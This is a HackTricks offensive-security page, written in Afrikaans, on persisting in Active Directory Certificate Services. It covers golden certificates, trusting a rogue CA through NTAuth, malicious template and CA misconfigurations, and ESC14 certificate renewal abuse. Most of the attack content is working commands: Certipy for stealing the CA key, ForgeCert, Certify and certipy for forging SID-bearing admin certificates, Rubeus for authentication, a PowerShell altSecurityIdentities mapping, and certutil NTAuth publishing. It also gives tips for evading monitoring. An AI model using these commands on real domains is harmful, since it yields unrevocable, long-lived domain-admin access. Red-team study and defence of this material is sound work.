AD CS Domein Persistensie
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie is ’n samevatting van die domeinpersistensie-tegnieke wat gedeel is in https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf. Kyk daar vir meer besonderhede.
Forging Certificates with Stolen CA Certificates (Golden Certificate) - DPERSIST1
Hoe kan jy sien dat ’n sertifikaat ’n CA-sertifikaat is?
Jy kan vasstel dat ’n sertifikaat ’n CA-sertifikaat is as verskeie voorwaardes nagekom word:
- Die sertifikaat is gestoor op die CA-server, met sy private sleutel beveilig deur die masjien se DPAPI, of deur hardeware soos ’n TPM/HSM indien die bedryfstelsel dit ondersteun.
- Beide die Issuer- en Subject-velde van die sertifikaat stem ooreen met die distinguished name van die CA.
- ’n “CA Version”-uitbreiding is uitsluitlik teenwoordig in die CA-sertifikate.
- Die sertifikaat het geen Extended Key Usage (EKU)-velde nie.
Om die private sleutel van hierdie sertifikaat te onttrek, is die certsrv.msc-hulpmiddel op die CA-server die ondersteunde metode via die ingeboude GUI. Nietemin verskil hierdie sertifikaat nie van ander wat in die stelsel gestoor is nie; gevolglik kan metodes soos die THEFT2 technique vir onttrekking toegepas word.
Die sertifikaat en private sleutel kan ook verkry word met Certipy met die volgende opdrag:
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
Sodra die CA-sertifikaat en sy private sleutel in .pfx-formaat verkry is, kan gereedskap soos ForgeCert gebruik word om geldige sertifikate te genereer:
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
Warning
Die gebruiker wat geteiken word vir sertifikaatvervalsing moet aktief wees en in staat wees om in Active Directory te autentiseer sodat die proses kan slaag. Om ’n sertifikaat vir spesiale rekeninge soos krbtgt te vervals is ondoeltreffend.
Hierdie vervalste sertifikaat sal geldig wees tot die gespesifiseerde einddatum en so lank as wat die root CA-sertifikaat geldig is (gewoonlik van 5 tot 10+ jaar). Dit is ook geldig vir machines, sodat in kombinasie met S4U2Self ’n aanvaller persistensie op enige domeinmasjien kan handhaaf solank die CA-sertifikaat geldig is.
Verder kan die sertifikate wat gegenereer word met hierdie metode nie herroep word nie omdat die CA nie daarvan bewus is.
Werking onder Strong Certificate Mapping Enforcement (2025+)
Sedert 11 Februarie 2025 (na die uitrol van KB5014754) gebruik domain controllers standaard Full Enforcement vir certificate mappings. Prakties beteken dit dat jou vervalste sertifikate óf:
- ’n Sterk binding met die teikenrekening bevat (byvoorbeeld, die SID security extension), of
- gepaard gaan met ’n sterk, eksplisiete mapping op die teikenobjek se
altSecurityIdentitiesattribuut.
’n Betroubare benadering vir persistensie is om ’n vervalste sertifikaat te skep wat geketting is aan die gesteelde Enterprise CA en dan ’n sterk, eksplisiete mapping by die slagoffer-principal te voeg:
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B' # serial in reversed byte order
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
Notas
- As jy vervalste sertifikate kan vervaardig wat die SID sekuriteitsuitbreiding insluit, sal dit implisiet toegeken word selfs onder Full Enforcement. Andersins, verkies eksplisiete sterk toewysings. Sien account-persistence vir meer oor eksplisiete toewysings.
- Herroeping help verdedigers hier nie: vervalste sertifikate is onbekend aan die CA-databasis en kan dus nie herroep word.
Full-Enforcement compatible forging (SID-aware)
Bygewerkte tooling laat jou toe om die SID direk in te bed, sodat golden certificates bruikbaar bly selfs wanneer DCs swak toewysings verwerp:
# Certify 2.0 integrates ForgeCert and can embed SID
Certify.exe forge --ca-pfx CORP-DC-CA.pfx --ca-pass Password123! \
--upn administrator@corp.local --sid S-1-5-21-1111111111-2222222222-3333333333-500 \
--outfile administrator_sid.pfx
# Certipy also supports SID in forged certs
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local \
-sid S-1-5-21-1111111111-2222222222-3333333333-500 -out administrator_sid.pfx
Deur die SID in te sluit, vermy jy om aan altSecurityIdentities te raak, wat moontlik gemonitor word, terwyl jy steeds aan sterk mappingkontroles voldoen.
Trusting Rogue CA Certificates - DPERSIST2
Die NTAuthCertificates object is gedefinieer om een of meer CA certificates binne sy cacertificate-attribuut te bevat, wat Active Directory (AD) gebruik. Die verifikasieproses deur die domain controller behels die kontrole van die NTAuthCertificates object vir ’n inskrywing wat ooreenstem met die CA specified in die Issuer-veld van die autentiserende certificate. As ’n ooreenstemming gevind word, gaan die autentisering voort.
’n Self-ondertekende CA certificate kan deur ’n aanvaller by die NTAuthCertificates object gevoeg word, mits hulle beheer oor hierdie AD-object het. Normaalweg word slegs lede van die Enterprise Admin groep, tesame met Domain Admins of Administrators in die forest root’s domain, toestemming gegee om hierdie object te wysig. Hulle kan die NTAuthCertificates object wysig met certutil.exe met die opdrag certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA, of deur die PKI Health Tool te gebruik.
Addisionele nuttige opdragte vir hierdie tegniek:
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>
# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
Hierdie vermoë is veral relevant wanneer dit saam met ’n vroeër uiteengesette metode gebruik word wat ForgeCert betrek om sertifikate dinamies te genereer.
Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in Full Enforcement, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in
altSecurityIdentities). See AD CS Account Persistence.
Kwaadaardige wankonfigurasie - DPERSIST3
Geleenthede vir persistence deur security descriptor modifications of AD CS komponentë is volop. Wysigings beskryf in die “Domain Escalation”-afdeling kan kwaadwillig deur ’n aanvaller met verhoogde toegang geïmplementeer word. Dit sluit die toevoeging van “control rights” (bv., WriteOwner/WriteDACL/etc.) in aan sensitiewe komponente soos:
- Die CA-bediener se AD rekenaarobjek
- Die CA-bediener se RPC/DCOM bediener
- Enige afstammende AD-objek of container in
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>(byvoorbeeld die Certificate Templates container, Certification Authorities container, die NTAuthCertificates object, ens.) - AD-groepe wat regte gedelegeer het om AD CS te beheer standaard of deur die organisasie (soos die ingeboude Cert Publishers groep en enige van sy lede)
’n Voorbeeld van ’n kwaadwillige implementering sou behels dat ’n aanvaller, wat oor elevated permissions in die domein beskik, die WriteOwner toestemming by die standaard User sertifikaatsjabloon voeg, met die aanvaller as die principal vir die reg. Om dit uit te buit, sal die aanvaller eers die eienaarskap van die User sjabloon na homself verander. Daarna sou die mspki-certificate-name-flag op 1 gestel word op die sjabloon om ENROLLEE_SUPPLIES_SUBJECT te aktiveer, wat ’n gebruiker toelaat om ’n Subject Alternative Name in die versoek te verskaf. Vervolgens kan die aanvaller enroll met die template, ’n domain administrator-naam as alternatief kies, en die verkrygde sertifikaat gebruik vir verifikasie as die DA.
Praktiese instellings wat aanvallers kan stel vir langtermyn domein persistence (sien AD CS Domain Escalation vir volle besonderhede en detectie):
- CA policy flags that allow SAN from requesters (e.g., enabling
EDITF_ATTRIBUTESUBJECTALTNAME2). This keeps ESC1-like paths exploitable. - Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). - Controlling the
NTAuthCertificatesobject or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
Tip
In geharde omgewings na KB5014754, deur hierdie wankonfigurasies te koppel met eksplisiete sterk mappings (
altSecurityIdentities) verseker jy dat jou uitgereikte of vervalste sertifikate bruikbaar bly, selfs wanneer DCs sterk mapping afdwing.
Sertifikaat-hernuwingmisbruik (ESC14) vir persistence
As jy ’n authentication-capable sertifikaat (of ’n Enrollment Agent een) kompromitteer, kan jy dit onbepaald hernu solank die uitreikende sjabloon gepubliseer bly en jou CA steeds die issuer chain vertrou. Hernu bewaar die oorspronklike identiteitbindings maar verleng die geldigheid, wat uitwissing moeilik maak tensy die sjabloon reggemaak word of die CA herpubliseer word.
# Renew a stolen user cert to extend validity
certipy req -ca CORP-DC-CA -template User -pfx stolen_user.pfx -renew -out user_renewed_2026.pfx
# Renew an on-behalf-of cert issued via an Enrollment Agent
certipy req -ca CORP-DC-CA -on-behalf-of 'CORP/victim' -pfx agent.pfx -renew -out victim_renewed.pfx
As domeinbeheerders in Volle afdwinging is, voeg -sid <victim SID> by (of gebruik ’n template wat steeds die SID-sekuriteitsuitbreiding insluit) sodat die hernieude leaf certificate steeds sterk gekoppel bly sonder om altSecurityIdentities aan te raak. Aanvallers met CA-admin-regte kan ook policy\RenewalValidityPeriodUnits aanpas om die hernieude geldigheidsduur te verleng voordat hulle self ’n cert uitreik.
References
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings)
- Certipy – Command Reference and forge/auth usage
- SpecterOps – Certify 2.0 (integrated forge with SID support)
- ESC14 renewal abuse overview
- 0xdf – HTB: Certificate (SeManageVolumePrivilege to exfil CA keys → Golden Certificate)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


